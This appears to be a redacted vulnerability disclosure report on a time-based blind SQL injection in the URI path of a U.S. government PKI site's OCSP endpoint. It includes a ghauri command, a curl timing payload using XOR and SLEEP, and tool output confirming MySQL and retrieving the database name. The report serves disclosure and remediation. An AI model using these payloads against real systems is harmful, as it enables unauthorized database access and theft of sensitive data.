SQL Injection in URI Path Leading to Full Database Disclosure on ████████

How it was found

Description: A time-based blind SQL injection vulnerability was discovered on the U.S. Government Public Key Infrastructure website (█████████). The injection point exists in the URI path of the /home/server-ocsp/ endpoint.

This vulnerability allows an unauthenticated attacker to interact with the backend MySQL database and extract sensitive information such as the current database name, available tables, columns, and potentially all underlying data.

Vulnerable Endpoint: █████████*

Impact

• Attacker can extract all database metadata and data.
• Sensitive information exposure: user data, credentials, configs.
• Possible full compromise of backend data integrity.

System Host(s)

█████████

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

Ghauri Command:

ghauri -u "█████*" \
--technique=T --dbms mysql --time-sec=6 --batch --random-agent --dbs

Manual Curl Time-Based Test: You can test the delay manually by measuring response time difference using curl and time: time curl -s -o /dev/null "████████'XOR(if(now()=sysdate(),sleep(6),0))XOR'Z/"

Proof of Concept Output (From Ghauri):

---
Parameter: #1* (URI)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
    Payload: ██████████'XOR(SELECT(0)FROM(SELECT(SLEEP(6)))a)XOR'Z
---
[05:02:53] [INFO] testing MySQL
[05:02:53] [INFO] confirming MySQL
[05:02:53] [INFO] the back-end DBMS is MySQL
[05:02:53] [INFO] fetching current database
[05:03:16] [WARNING] ("it appears that the character '>' and 'BETWEEN' operator is filtered by the back-end server. ghauri will based data retrieval on IN() operator",)
[05:04:40] [INFO] retrieved: 'de'
current database: 'de'

POC: Video Added ██████

Suggested Mitigation/Remediation Actions